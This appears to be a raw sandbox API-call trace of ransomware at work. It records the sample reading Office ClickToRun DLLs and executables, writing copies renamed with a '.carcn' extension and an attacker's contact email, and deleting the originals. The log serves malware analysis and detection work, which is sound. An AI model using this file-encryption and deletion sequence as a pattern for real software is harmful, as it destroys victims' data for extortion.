[0293.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0293.225] lstrlenW (lpString=".dbf") returned 4 [0293.225] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0293.225] lstrlenW (lpString=".1cd") returned 4 [0293.225] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0293.225] lstrlenW (lpString=".jpg") returned 4 [0293.225] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.225] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0293.225] lstrlenW (lpString="AppVScripting.dll") returned 17 [0293.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0293.623] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=512216) returned 1 [0293.623] CloseHandle (hObject=0x350) returned 1 [0293.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 0x20 [0293.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0294.557] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.557] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.557] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0294.557] GetLastError () returned 0x0 [0294.557] ReadFile (in: hFile=0x368, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x7d0d8, lpOverlapped=0x0) returned 1 [0294.645] WriteFile (in: hFile=0x370, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x7d0e0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x7d0e0, lpOverlapped=0x0) returned 1 [0294.655] ReadFile (in: hFile=0x368, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.655] WriteFile (in: hFile=0x370, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xf6, lpOverlapped=0x0) returned 1 [0294.655] SetEndOfFile (hFile=0x370) returned 1 [0294.656] CloseHandle (hObject=0x370) returned 1 [0294.656] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.656] SetEndOfFile (hFile=0x368) returned 1 [0294.661] CloseHandle (hObject=0x368) returned 1 [0294.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0294.661] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 1 [0294.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0294.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0294.662] lstrlenW (lpString=".doc") returned 4 [0294.662] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.662] lstrlenW (lpString=".docx") returned 5 [0294.662] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0294.662] lstrlenW (lpString=".pdf") returned 4 [0294.662] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.662] lstrlenW (lpString=".xls") returned 4 [0294.662] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.662] lstrlenW (lpString=".xlsx") returned 5 [0294.662] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0294.662] lstrlenW (lpString=".ppt") returned 4 [0294.662] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0294.662] lstrlenW (lpString=".zip") returned 4 [0294.662] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.662] lstrlenW (lpString=".rar") returned 4 [0294.662] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.662] lstrlenW (lpString=".bz2") returned 4 [0294.662] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.662] lstrlenW (lpString=".7z") returned 3 [0294.662] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0294.662] lstrlenW (lpString=".dbf") returned 4 [0294.663] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0294.663] lstrlenW (lpString=".1cd") returned 4 [0294.663] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0294.663] lstrlenW (lpString=".jpg") returned 4 [0294.663] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0294.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0294.663] lstrlenW (lpString=".doc") returned 4 [0294.663] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.663] lstrlenW (lpString=".docx") returned 5 [0294.663] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0294.663] lstrlenW (lpString=".pdf") returned 4 [0294.663] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.663] lstrlenW (lpString=".xls") returned 4 [0294.663] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.663] lstrlenW (lpString=".xlsx") returned 5 [0294.663] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0294.663] lstrlenW (lpString=".ppt") returned 4 [0294.663] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0294.663] lstrlenW (lpString=".zip") returned 4 [0294.663] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.663] lstrlenW (lpString=".rar") returned 4 [0294.663] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.663] lstrlenW (lpString=".bz2") returned 4 [0294.664] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.664] lstrlenW (lpString=".7z") returned 3 [0294.664] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0294.664] lstrlenW (lpString=".dbf") returned 4 [0294.664] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0294.664] lstrlenW (lpString=".1cd") returned 4 [0294.664] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0294.664] lstrlenW (lpString=".jpg") returned 4 [0294.664] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.664] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0294.664] lstrlenW (lpString="MavInject32.exe") returned 15 [0294.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0294.665] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=358616) returned 1 [0294.665] CloseHandle (hObject=0x368) returned 1 [0294.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 0x20 [0294.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0294.665] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.665] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0294.666] GetLastError () returned 0x0 [0294.666] ReadFile (in: hFile=0x368, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x578d8, lpOverlapped=0x0) returned 1 [0294.720] WriteFile (in: hFile=0x370, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x578e0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x578e0, lpOverlapped=0x0) returned 1 [0294.733] ReadFile (in: hFile=0x368, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.733] WriteFile (in: hFile=0x370, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xf2, lpOverlapped=0x0) returned 1 [0294.733] SetEndOfFile (hFile=0x370) returned 1 [0294.734] CloseHandle (hObject=0x370) returned 1 [0294.734] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.734] SetEndOfFile (hFile=0x368) returned 1 [0294.737] CloseHandle (hObject=0x368) returned 1 [0294.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0294.737] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 1 [0294.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0294.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0294.737] lstrlenW (lpString=".doc") returned 4 [0294.737] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0294.737] lstrlenW (lpString=".docx") returned 5 [0294.737] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0294.737] lstrlenW (lpString=".pdf") returned 4 [0294.737] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0294.738] lstrlenW (lpString=".xls") returned 4 [0294.738] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0294.738] lstrlenW (lpString=".xlsx") returned 5 [0294.738] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0294.738] lstrlenW (lpString=".ppt") returned 4 [0294.738] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0294.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0294.738] lstrlenW (lpString=".zip") returned 4 [0294.738] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0294.738] lstrlenW (lpString=".rar") returned 4 [0294.738] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0294.738] lstrlenW (lpString=".bz2") returned 4 [0294.738] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0294.738] lstrlenW (lpString=".7z") returned 3 [0294.738] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0294.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0294.738] lstrlenW (lpString=".dbf") returned 4 [0294.738] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0294.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0294.738] lstrlenW (lpString=".1cd") returned 4 [0294.738] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0294.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0294.738] lstrlenW (lpString=".jpg") returned 4 [0294.738] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0294.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0294.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0294.738] lstrlenW (lpString=".doc") returned 4 [0294.738] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0294.738] lstrlenW (lpString=".docx") returned 5 [0294.738] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0294.738] lstrlenW (lpString=".pdf") returned 4 [0294.738] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0294.738] lstrlenW (lpString=".xls") returned 4 [0294.739] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0294.739] lstrlenW (lpString=".xlsx") returned 5 [0294.739] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0294.739] lstrlenW (lpString=".ppt") returned 4 [0294.739] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0294.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0294.739] lstrlenW (lpString=".zip") returned 4 [0294.739] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0294.739] lstrlenW (lpString=".rar") returned 4 [0294.739] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0294.739] lstrlenW (lpString=".bz2") returned 4 [0294.739] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0294.739] lstrlenW (lpString=".7z") returned 3 [0294.739] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0294.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0294.739] lstrlenW (lpString=".dbf") returned 4 [0294.739] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0294.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0294.739] lstrlenW (lpString=".1cd") returned 4 [0294.739] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0294.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0294.739] lstrlenW (lpString=".jpg") returned 4 [0294.739] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0294.739] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0294.739] lstrlenW (lpString="mso20win32client.dll") returned 20 [0294.739] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0294.740] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3144288) returned 1 [0294.740] CloseHandle (hObject=0x368) returned 1 [0294.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 0x20 [0294.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.740] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0294.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0294.741] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[carcinoma24@aol.com].carcn"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 1 [0294.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0294.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0294.742] lstrlenW (lpString=".doc") returned 4 [0294.742] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.742] lstrlenW (lpString=".docx") returned 5 [0294.742] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0294.742] lstrlenW (lpString=".pdf") returned 4 [0294.742] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.742] lstrlenW (lpString=".xls") returned 4 [0294.742] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.742] lstrlenW (lpString=".xlsx") returned 5 [0294.742] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0294.742] lstrlenW (lpString=".ppt") returned 4 [0294.742] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0294.742] lstrlenW (lpString=".zip") returned 4 [0294.742] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.742] lstrlenW (lpString=".rar") returned 4 [0294.742] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.742] lstrlenW (lpString=".bz2") returned 4 [0294.742] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.742] lstrlenW (lpString=".7z") returned 3 [0294.742] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0294.742] lstrlenW (lpString=".dbf") returned 4 [0294.742] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0294.743] lstrlenW (lpString=".1cd") returned 4 [0294.743] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0294.743] lstrlenW (lpString=".jpg") returned 4 [0294.743] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0294.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0294.743] lstrlenW (lpString=".doc") returned 4 [0294.743] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.743] lstrlenW (lpString=".docx") returned 5 [0294.743] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0294.743] lstrlenW (lpString=".pdf") returned 4 [0294.743] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.743] lstrlenW (lpString=".xls") returned 4 [0294.743] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.743] lstrlenW (lpString=".xlsx") returned 5 [0294.743] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0294.743] lstrlenW (lpString=".ppt") returned 4 [0294.743] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0294.743] lstrlenW (lpString=".zip") returned 4 [0294.743] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.743] lstrlenW (lpString=".rar") returned 4 [0294.743] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.743] lstrlenW (lpString=".bz2") returned 4 [0294.743] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.743] lstrlenW (lpString=".7z") returned 3 [0294.743] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0294.743] lstrlenW (lpString=".dbf") returned 4 [0294.743] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0294.744] lstrlenW (lpString=".1cd") returned 4 [0294.744] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0294.744] lstrlenW (lpString=".jpg") returned 4 [0294.744] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.744] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0294.744] lstrlenW (lpString="mso30win32client.dll") returned 20 [0294.744] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0294.744] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=4677216) returned 1 [0294.744] CloseHandle (hObject=0x368) returned 1 [0294.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 0x20 [0294.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.745] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0294.745] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff 